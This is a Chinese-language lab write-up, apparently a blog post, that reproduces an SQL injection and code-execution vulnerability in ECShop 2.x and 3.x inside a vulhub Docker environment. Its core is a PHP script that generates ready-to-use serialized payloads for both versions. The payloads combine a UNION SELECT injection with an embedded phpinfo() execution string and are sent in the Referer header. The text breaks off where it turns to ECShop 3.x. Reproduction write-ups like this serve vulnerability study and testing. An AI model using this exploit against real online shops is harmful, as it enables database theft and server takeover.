ECShop 2.x/3.x SQL注入/任意代码执行漏洞复现

简介

ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

 

影响版本

 

Ecshop 2.x

Ecshop 3.x-3.6.0

 

 

环境搭建

 

使用vulhub来安装环境

https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md

进入目录并启动环境

cd vulhub-master/ecshop/xianzhi-2017-02-82239600/

启动ecshop 2.7.3与3.6.0

docker-compose up -d

访问http://your-ip:8080将看到2.7.3的安装页面，访问http://your-ip:8081将看到3.6.0的安装页面。

依次安装即可

mysql地址填写mysql，mysql账户与密码均为root

 

漏洞复现

 

利用脚本生成POC

<?php$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");$id = "-1' UNION/*";$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";echo "{$hash2}ads|{$s}{$hash2}";echo "\n\nPOC for ECShop 3.x: \n";echo "{$hash3}ads|{$s}{$hash3}";

生成的POC，放在Referer里发送数据包

再来看看ECShop 3.x
